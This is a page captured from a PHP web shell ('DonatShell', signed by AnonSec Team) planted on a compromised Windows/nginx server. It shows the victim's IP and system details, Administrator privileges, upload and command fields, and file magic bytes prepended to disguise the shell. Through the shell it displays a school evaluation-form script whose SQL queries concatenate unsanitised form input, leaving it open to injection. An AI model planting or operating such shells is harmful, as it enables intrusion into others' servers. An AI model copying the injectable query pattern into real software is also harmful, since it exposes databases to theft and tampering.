GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/_Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/_Archive/ClassEvaluationEditFormPerform.phpinc
<?
// ClassEvaluationEditFormPerform.phpinc

debugTrackBegin();
//setDebugOn();
#if (dc()) echo "<b>".__FILE__."</b><br>\n";
$f_classId = formValue('classId');
$f_courseId = formValue('courseId');
$f_courseNumber = formValue('courseNumber');
$f_evaluationId = formValue('evaluationId');
$QC = formValue('Question_QC');
$RC = formValue('Question_RC','wf_');
if (dc()) {
	echo "\$f_classId=".$f_classId."<br>\n";
	echo "\$f_courseId=".$f_courseId."<br>\n";
	echo "\$f_courseNumber=".$f_courseNumber."<br>\n";
	echo "\$f_evaluationId=".$f_evaluationId."<br>\n";
	echo "\$RC=".$RC."<br>\n";
	echo "\$QC=".$QC."<br>\n";
}
if ( $_SESSION['uuid'] != $f_uuid ) {
	// Page unique.
	// UPDATE current questions.
	$prefix = 'f_';
	$qNow = array();
	for ($qn=1; $qn<=$QC; $qn++) {
		$qNow[$qn] = array();
		$qNow[$qn] = questionGet($qn,$prefix);
		if (dc()) {
			echo "<b>\$qNow[$qn]</b>="; print_r($qNow[$qn]); echo "<br>\n";
		}
		questionSet($f_evaluationId,$qNow[$qn]);
	}
	// INSERT new questions.
	$prefix = 'wf_';
	$qNew = array();
	for ($qn=1; $qn<=$RC; $qn++) {
		$qNew[$qn] = array();
		$qNew[$qn] = questionGet($qn,$prefix);
		if (dc()) {
			echo "<b>\$qNew[$qn]</b>="; print_r($qNew[$qn]); echo "<br>\n";
		}
		if ($qNew[$qn]['answers'] != 0) { questionSet($f_evaluationId,$qNew[$qn]); }
	}
	$_SESSION['uuid'] = $f_uuid;
} else {
	// Page reload.
}
?>
<?
debugTrackEnd();
	
function questionGet($qn,$prefix) {
	$q = array();
	if ($qn > 1) { $suffix = '_'.$qn; } else { $suffix = ''; }
	$q['questionId'] = formValue('questionId'.$suffix,$prefix); if ($q['questionId'] == '') { $q['questionId'] = 0; }
	$q['questionType'] = formValue('qt'.$suffix,$prefix);
	switch ($q['questionType']) {
		case 'es':
			$q['questionGroup'] = formValue('qg'.$suffix,$prefix); if ($q['questionGroup'] <= 0) { $q['questionGroup'] = 0; }
			$q['questionOrder'] = formValue('qo'.$suffix,$prefix); if ($q['questionOrder'] <= 0) { $q['questionOrder'] = 0; }
			$q['questionText'] = formValue('q'.$suffix,$prefix);
			$q['questionModifier'] = formValue('esr'.$suffix,$prefix);
			$q['questionNote'] = '';
			$q['questionNoteDisplay'] = 0;
			$q['questionInactive'] = 0;
			$q['answers'] = 1;
			$q['answerText'] = array();
			$q['answerCorrect'] = array();
			$q['answerText'][1] = formValue('a'.$suffix,$prefix);
			$q['answerCorrect'][1] = 1;
			break;
		case 'mt':
			$q['questionGroup'] = formValue('qg'.$suffix,$prefix); if ($q['questionGroup'] <= 0) { $q['questionGroup'] = 0; }
			$q['questionOrder'] = formValue('qo'.$suffix,$prefix); if ($q['questionOrder'] <= 0) { $q['questionOrder'] = 0; }
			$q['questionText'] = formValue('q'.$suffix,$prefix);
			$q['questionModifier'] = 0;
			$q['questionNote'] = '';
			$q['questionNoteDisplay'] = 0;
			$q['questionInactive'] = 0;
			$q['answers'] = 1;
			$q['answerText'] = array();
			$q['answerCorrect'] = array();
			$q['answerText'][1] = formValue('a0'.$suffix,$prefix);
			$q['answerCorrect'][1] = 1;
			break;
		case 'ma':
			$q['questionGroup'] = formValue('qg'.$suffix,$prefix); if ($q['questionGroup'] <= 0) { $q['questionGroup'] = 0; }
			$q['questionOrder'] = formValue('qo'.$suffix,$prefix); if ($q['questionOrder'] <= 0) { $q['questionOrder'] = 0; }
			$q['questionText'] = formValue('q'.$suffix,$prefix);
			$q['questionModifier'] = formValue('na'.$suffix,$prefix);
			$q['questionNote'] = '';
			$q['questionNoteDisplay'] = 0;
			$q['questionInactive'] = 0;
			$q['answers'] = $q['questionModifier'];
			$q['answerText'] = array();
			$q['answerCorrect'] = array();
			for ($an=1; $an<=$q['answers']; $an++) {
				$q['answerText'][$an] = formValue('a'.$an.$suffix,$prefix);
				$q['answerCorrect'][$an] = formValue('caC'.$an.$suffix,$prefix); if ($q['answerCorrect'][$an] <=0) { $q['answerCorrect'][$an] = 0; }
			}
			break;
		case 'mc':
			$q['questionGroup'] = formValue('qg'.$suffix,$prefix); if ($q['questionGroup'] <= 0) { $q['questionGroup'] = 0; }
			$q['questionOrder'] = formValue('qo'.$suffix,$prefix); if ($q['questionOrder'] <= 0) { $q['questionOrder'] = 0; }
			$q['questionText'] = formValue('q'.$suffix,$prefix);
			$q['questionModifier'] = formValue('na'.$suffix,$prefix);
			$q['questionNote'] = '';
			$q['questionNoteDisplay'] = 0;
			$q['questionInactive'] = 0;
			$q['answers'] = $q['questionModifier'];
			$q['answerText'] = array();
			$q['answerCorrect'] = array();
			$qa = formValue('caR'.$suffix,$prefix);
			for ($an=1; $an<=$q['answers']; $an++) {
				$q['answerText'][$an] = formValue('a'.$an.$suffix,$prefix);
				if ($an != $qa) { $q['answerCorrect'][$an] = 0; } else { $q['answerCorrect'][$an] = 1; }
			}
			break;
		case 'sa':
			$q['questionGroup'] = formValue('qg'.$suffix,$prefix); if ($q['questionGroup'] <= 0) { $q['questionGroup'] = 0; }
			$q['questionOrder'] = formValue('qo'.$suffix,$prefix); if ($q['questionOrder'] <= 0) { $q['questionOrder'] = 0; }
			$q['questionText'] = formValue('q'.$suffix,$prefix);
			$q['questionModifier'] = formValue('sas'.$suffix,$prefix);
			$q['questionNote'] = '';
			$q['questionNoteDisplay'] = 0;
			$q['questionInactive'] = 0;
			$q['answers'] = 1;
			$q['answerText'] = array();
			$q['answerCorrect'] = array();
			$q['answerText'][1] = formValue('a0'.$suffix,$prefix);
			$q['answerCorrect'][1] = 1;
			break;
		case 'tf':
			$q['questionGroup'] = formValue('qg'.$suffix,$prefix); if ($q['questionGroup'] <= 0) { $q['questionGroup'] = 0; }
			$q['questionOrder'] = formValue('qo'.$suffix,$prefix); if ($q['questionOrder'] <= 0) { $q['questionOrder'] = 0; }
			$q['questionText'] = formValue('q'.$suffix,$prefix);
			$q['questionModifier'] = 2;
			$q['questionNote'] = '';
			$q['questionNoteDisplay'] = 0;
			$q['questionInactive'] = 0;
			$q['answers'] = 2;
			$q['answerText'] = array();
			$q['answerCorrect'] = array();
			$q['answerText'][1] = 'True';
			$q['answerText'][2] = 'False';
			$qa = formValue('caR'.$suffix,$prefix);
			for ($an=1; $an<=$q['answers']; $an++) {
				if ($an != $qa) { $q['answerCorrect'][$an] = 0; } else { $q['answerCorrect'][$an] = 1; }
			}
			break;
		case 'up':
			$q['questionGroup'] = formValue('qg'.$suffix,$prefix); if ($q['questionGroup'] <= 0) { $q['questionGroup'] = 0; }
			$q['questionOrder'] = formValue('qo'.$suffix,$prefix); if ($q['questionOrder'] <= 0) { $q['questionOrder'] = 0; }
			$q['questionText'] = formValue('q'.$suffix,$prefix);
			$q['questionNote'] = '';
			$q['questionNoteDisplay'] = 0;
			$q['questionInactive'] = 0;
			$q['answers'] = 1;
			$q['answerText'] = array();
			$q['answerCorrect'] = array();
			$q['answerText'][1] = formValue('a0'.$suffix,$prefix);
			$q['answerCorrect'][1] = 1;
			break;
		case 'ur':
			$q['questionGroup'] = formValue('qg'.$suffix,$prefix); if ($q['questionGroup'] <= 0) { $q['questionGroup'] = 0; }
			$q['questionOrder'] = formValue('qo'.$suffix,$prefix); if ($q['questionOrder'] <= 0) { $q['questionOrder'] = 0; }
			$q['questionText'] = formValue('q'.$suffix,$prefix);
			$q['questionModifier'] = formValue('sas'.$suffix,$prefix);
			$q['questionNote'] = '';
			$q['questionNoteDisplay'] = 0;
			$q['questionInactive'] = 0;
			$q['answers'] = 1;
			$q['answerText'] = array();
			$q['answerCorrect'] = array();
			$q['answerText'][1] = formValue('a0'.$suffix,$prefix);
			$q['answerCorrect'][1] = 1;
			break;
		case 'yn':
			$q['questionGroup'] = formValue('qg'.$suffix,$prefix); if ($q['questionGroup'] <= 0) { $q['questionGroup'] = 0; }
			$q['questionOrder'] = formValue('qo'.$suffix,$prefix); if ($q['questionOrder'] <= 0) { $q['questionOrder'] = 0; }
			$q['questionText'] = formValue('q'.$suffix,$prefix);
			$q['questionModifier'] = 2;
			$q['questionNote'] = '';
			$q['questionNoteDisplay'] = 0;
			$q['questionInactive'] = 0;
			$q['answers'] = 2;
			$q['answerText'] = array();
			$q['answerCorrect'] = array();
			$q['answerText'][1] = 'Yes';
			$q['answerText'][2] = 'No';
			$qa = formValue('caR'.$suffix,$prefix);
			for ($an=1; $an<=$q['answers']; $an++) {
				if ($an != $qa) { $q['answerCorrect'][$an] = 0; } else { $q['answerCorrect'][$an] = 1; }
			}
			break;
		case 'im':
			$q['questionGroup'] = formValue('qg'.$suffix,$prefix); if ($q['questionGroup'] <= 0) { $q['questionGroup'] = 0; }
			$q['questionOrder'] = formValue('qo'.$suffix,$prefix); if ($q['questionOrder'] <= 0) { $q['questionOrder'] = 0; }
			$q['questionText'] = '';
			$q['questionModifier'] = 0;
			$q['questionNote'] = '';
			$q['questionNoteDisplay'] = 0;
			$q['questionInactive'] = 0;
			$q['answers'] = 1;
			$q['answerText'] = array();
			$q['answerCorrect'] = array();
			$q['answerText'][1] = formValue('a0'.$suffix,$prefix);
			$q['answerCorrect'][1] = 1;
			break;
		case 'co':
		case 'he':
		case 'in':
			$q['questionGroup'] = formValue('qg'.$suffix,$prefix); if ($q['questionGroup'] <= 0) { $q['questionGroup'] = 0; }
			$q['questionOrder'] = formValue('qo'.$suffix,$prefix); if ($q['questionOrder'] <= 0) { $q['questionOrder'] = 0; }
			$q['questionText'] = '';
			$q['questionModifier'] = 0;
			$q['answerText'] = formValue('a'.$suffix,$prefix);
			$q['questionNote'] = '';
			$q['questionNoteDisplay'] = 0;
			$q['questionInactive'] = 0;
			$q['answers'] = 1;
			$q['answerText'] = array();
			$q['answerCorrect'] = array();
			$q['answerText'][1] = formValue('a'.$suffix,$prefix);
			$q['answerCorrect'][1] = 1;
			break;
		case '':
		default:
			$q['questionGroup'] = 0;
			$q['questionOrder'] = 0;
			$q['questionText'] = '';
			$q['questionModifier'] = '';
			$q['questionNote'] = '';
			$q['questionNoteDisplay'] = 0;
			$q['questionInactive'] = 0;
			$q['answers'] = 0;
			break;
	}
	return $q;
}

function questionSet($f_evaluationId,$q) {
	$f_lastModified = currentDateTime();
	//echo "\$q['questionId']=".$q['questionId']." \$q['questionType']=".$q['questionType']; exit;
	if ($q['questionType'] != '') {
		// INSERT or UPDATE question.
		if ($q['questionId'] != 0) {
			// UPDATE question
			$query = "
			UPDATE question SET
				evaluationId = ".$f_evaluationId.",
				questionType = '".$q['questionType']."',
				questionGroup = ".$q['questionGroup'].",
				questionOrder = ".$q['questionOrder'].",
				questionText = '".$q['questionText']."',
				questionModifier = ".$q['questionModifier'].",
				questionNote = '".$q['questionNote']."',
				questionNoteDisplay = ".$q['questionNoteDisplay'].",
				questionInactive = ".$q['questionInactive'].",
				lastModified = '".$f_lastModified."',
				modifiedBy = ".$_SESSION['userId']."
			WHERE questionId = ".$q['questionId']."
			";
			if (dc()) {
				echo "\$query=".$query."<br>\n";
			}
			$questionUpdate = query_do($query);		
			// Delete Answers	
			$query = "
			DELETE FROM answer
			WHERE questionId = ".$q['questionId']."
			";
			if (dc()) {
				echo "\$query=".$query."<br>\n";
			}
			$answerDelete = query_do($query);
		} else {
			// INSERT question
			$query = "
			INSERT INTO question (
				evaluationId,
				questionType,
				questionGroup,
				questionOrder,
				questionText,
				questionModifier,
				questionNote,
				questionNoteDisplay,
				questionInactive,
				lastModified,
				modifiedBy
			) VALUES (
				".$f_evaluationId.",
			 '".$q['questionType']."',
				".$q['questionGroup'].",
				".$q['questionOrder'].",
			 '".$q['questionText']."',
				".$q['questionModifier'].",
			 '".$q['questionNote']."',
				".$q['questionNoteDisplay'].",
				".$q['questionInactive'].",
			 '".$f_lastModified."',
				".$_SESSION['userId']."
			)";
			if (dc()) {
				echo "\$query=".$query."<br>\n";
			}
			$questionSet = query_do($query);
			// Get questionId.
			$query = "
			SELECT questionId
			FROM question
			WHERE evaluationId = ".$f_evaluationId."
			AND questionType = '".$q['questionType']."'
			AND questionGroup = ".$q['questionGroup']."
			AND questionOrder = ".$q['questionOrder']."
			AND questionText = '".$q['questionText']."'
			AND questionModifier = '".$q['questionModifier']."'
			AND questionNote = '".$q['questionNote']."'
			AND questionNoteDisplay = '".$q['questionNoteDisplay']."'
			AND questionInactive = '".$q['questionInactive']."'
			AND lastModified = '".$f_lastModified."'
			AND modifiedBy = '".$_SESSION['userId']."'
			";
			$questionResult = query_do($query);
			$questionCount = $_SESSION['mysql_num_rows'];
			if (!$questionCount) { echo '<p class="bold">'.__FILE__.' <span class="error">Question not found by query: </span>['.$query."]<br>\n"; setDebugOn(); include('common/pageFooter.phpinc'); }
			$questionRow = mysql_fetch_assoc($questionResult);
			$q['questionId'] = $questionRow['questionId'];
		}
		// INSERT answers.
		for ($an=1; $an<=$q['answers']; $an++) {
			$f_lastModified = currentDateTime();
			$query = "
			INSERT INTO answer (
				questionId,
				answerOrder,
				answerText,
				answerValue,
				answerCorrect,
				lastModified,
				modifiedBy
			) VALUES (
				".$q['questionId'].",
				".$an.",
			 '".$q['answerText'][$an]."',
				0,
				".$q['answerCorrect'][$an].",
			 '".$f_lastModified."',
				".$_SESSION['userId']."
			)";
			if (dc()) {
				echo "\$query=".$query."<br>\n";
			}
			$answerInsert = query_do($query);				
		}
	} else {
		// DELETE question.
		$query = "
		DELETE FROM question
		WHERE questionId = ".$q['questionId']."
		";
		if (dc()) {
			echo "\$query=".$query."<br>\n";
		}
		$questionDelete = query_do($query);
		// Delete Answers	
		$query = "
		DELETE FROM answer
		WHERE questionId = ".$q['questionId']."
		";
		if (dc()) {
			echo "\$query=".$query."<br>\n";
		}
		$answerDelete = query_do($query);
	}
}
?>

Anon7 - 2022
AnonSec Team